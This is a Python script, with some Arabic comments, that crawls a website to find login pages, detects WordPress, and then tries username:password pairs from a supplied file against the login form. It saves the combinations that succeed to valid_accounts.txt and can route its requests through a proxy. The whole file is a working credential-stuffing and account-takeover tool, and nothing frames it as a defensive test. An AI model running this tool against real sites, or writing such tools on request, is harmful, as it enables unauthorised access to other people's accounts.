import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin, urlparse
import argparse
import json
from concurrent.futures import ThreadPoolExecutor

visited = set()
auth_pages = {}

MAX_THREADS = 15

# ===== Colors =====
class Colors:
    GREEN = "\033[92m"
    RED = "\033[91m"
    YELLOW = "\033[93m"
    BLUE = "\033[94m"
    CYAN = "\033[96m"
    RESET = "\033[0m"

# ===== Domain check =====
def same_domain(base, url):
    return urlparse(base).netloc == urlparse(url).netloc

# ===== URL filter =====
def is_valid_url(base_url, full):
    if not same_domain(base_url, full):
        return False
    if "#" in full or "?" in full:
        return False
    if full.endswith((".jpg", ".png", ".css", ".js", ".svg", ".ico")):
        return False
    return True

# ===== WordPress detection =====
def detect_wordpress(session, base_url):
    try:
        r = session.get(base_url, timeout=10)
        html = r.text.lower()

        if "wp-content" in html or "wp-includes" in html:
            return True

        test = session.get(urljoin(base_url, "/wp-login.php"), timeout=10)
        if "wordpress" in test.text.lower():
            return True
    except:
        pass

    return False

# ===== Auth detection =====
def detect_auth(url, html):
    soup = BeautifulSoup(html, "html.parser")
    score = 0

    for form in soup.find_all("form"):
        inputs = form.find_all("input")

        if any(inp.get("type") == "password" for inp in inputs):
            score += 5

        if any(inp.get("type") in ["text", "email"] for inp in inputs):
            score += 3

        if form.get("action"):
            score += 2

    if "login" in html.lower():
        score += 2

    if score >= 7:
        return score

    return None

# ===== Extract links =====
def extract_links(base_url, html):
    soup = BeautifulSoup(html, "html.parser")
    links = set()

    for a in soup.find_all("a", href=True):
        full = urljoin(base_url, a["href"])
        if is_valid_url(base_url, full):
            links.add(full)

    for form in soup.find_all("form", action=True):
        full = urljoin(base_url, form["action"])
        if is_valid_url(base_url, full):
            links.add(full)

    return links

# ===== Scan =====
def scan(url, base_url, session):
    if url in visited:
        return set()

    visited.add(url)

    try:
        r = session.get(url, timeout=10)
        print(f"{Colors.CYAN}[SCAN]{Colors.RESET} {url}")

        if r.status_code == 200:
            score = detect_auth(url, r.text)
            if score:
                auth_pages[url] = score
                print(f"{Colors.GREEN}[AUTH {score}]{Colors.RESET} {url}")

        return extract_links(base_url, r.text)

    except:
        return set()

# ===== Crawl =====
def crawl(start_url, session):
    queue = [start_url]

    with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
        while queue:
            futures = []

            for _ in range(min(len(queue), MAX_THREADS)):
                url = queue.pop(0)
                futures.append(executor.submit(scan, url, start_url, session))

            for f in futures:
                for link in f.result():
                    if link not in visited:
                        queue.append(link)

# ===== Detect input type =====
def detect_input_type(inp):
    name = (inp.get("name") or "").lower()
    placeholder = (inp.get("placeholder") or "").lower()
    typ = (inp.get("type") or "").lower()

    combined = f"{name} {placeholder}"

    if typ == "password":
        return "password"

    if "email" in combined:
        return "email"

    if any(k in combined for k in ["phone", "mobile", "tel"]):
        return "phone"

    if any(k in combined for k in ["user", "name", "login"]):
        return "username"

    if typ in ["text", "tel"]:
        return "username"

    return "unknown"

# ===== Login =====
def smart_login_test(session, login_url, username, password, is_wp=False):
    try:
        # ===== WordPress =====
        if is_wp:
            session.get(login_url, timeout=10)

            data = {
                "log": username,
                "pwd": password,
                "wp-submit": "Log In",
                "redirect_to": urljoin(login_url, "/wp-admin/"),
                "testcookie": "1"
            }

            res = session.post(login_url, data=data, timeout=10, allow_redirects=True)

            cookies = session.cookies.get_dict()
            text = res.text.lower()

            # ✅ تحقق حقيقي (اسم + قيمة)
            for k, v in cookies.items():
                if "wordpress_logged_in" in k and username.lower() in v.lower():
                    return "success"

            # ❌ فشل
            if any(x in text for x in ["incorrect", "invalid", "error"]):
                return "failed"

            return "unknown"

        # ===== Normal login =====
        r = session.get(login_url, timeout=10)
        soup = BeautifulSoup(r.text, "html.parser")

        form = soup.find("form")
        if not form:
            return "no_form"

        action = form.get("action")
        post_url = urljoin(login_url, action) if action else login_url

        data = {}

        for inp in form.find_all("input"):
            name = inp.get("name")
            if not name:
                continue

            field_type = detect_input_type(inp)

            if field_type == "password":
                data[name] = password
            elif field_type in ["email", "phone", "username"]:
                data[name] = username
            else:
                data[name] = inp.get("value", "")

        res = session.post(post_url, data=data, timeout=10)
        text = res.text.lower()

        if res.url != login_url:
            return "success"

        if any(x in text for x in ["invalid", "incorrect", "error"]):
            return "failed"

        return "unknown"

    except:
        return "error"

# ===== Batch =====
def batch_login_test(session, login_url, file_path, is_wp=False):
    print("\n[+] Batch login test...\n")

    valid_accounts = []

    with open(file_path, "r") as f:
        lines = [line.strip() for line in f if ":" in line]

    for line in lines:
        username, password = line.split(":", 1)

        result = smart_login_test(session, login_url, username, password, is_wp)

        if result == "success":
            print(f"{Colors.GREEN}[SUCCESS]{Colors.RESET} {username}")
            valid_accounts.append(f"{username}:{password}")

        elif result == "failed":
            print(f"{Colors.RED}[FAILED]{Colors.RESET} {username}")

        elif result == "unknown":
            print(f"{Colors.YELLOW}[UNKNOWN]{Colors.RESET} {username}")

        elif result == "no_form":
            print(f"{Colors.BLUE}[NO_FORM]{Colors.RESET} {username}")

        else:
            print(f"[{result.upper()}] {username}")

    if valid_accounts:
        with open("valid_accounts.txt", "w") as f:
            f.write("\n".join(valid_accounts))

        print("\n[+] Valid accounts saved to valid_accounts.txt")

# ===== Save =====
def save_results():
    with open("results.json", "w") as f:
        json.dump(auth_pages, f, indent=4)

# ===== Main =====
if __name__ == "__main__":
    parser = argparse.ArgumentParser()

    parser.add_argument("-u", "--url", required=True)
    parser.add_argument("--login-url")
    parser.add_argument("--accounts")
    parser.add_argument("--proxy")

    args = parser.parse_args()

    session = requests.Session()

    if args.proxy:
        session.proxies = {"http": args.proxy, "https": args.proxy}

    is_wp = detect_wordpress(session, args.url)

    if is_wp:
        print(f"{Colors.YELLOW}[+] WordPress detected!{Colors.RESET}")
        if not args.login_url:
            args.login_url = urljoin(args.url, "/wp-login.php")

    crawl(args.url, session)

    if args.accounts and args.login_url:
        batch_login_test(session, args.login_url, args.accounts, is_wp)

    print("\n=== AUTH RESULTS ===\n")
    for url, score in sorted(auth_pages.items(), key=lambda x: x[1], reverse=True):
        print(f"{url} → score: {score}")

    save_results()
    print("\n[+] Results saved to results.json")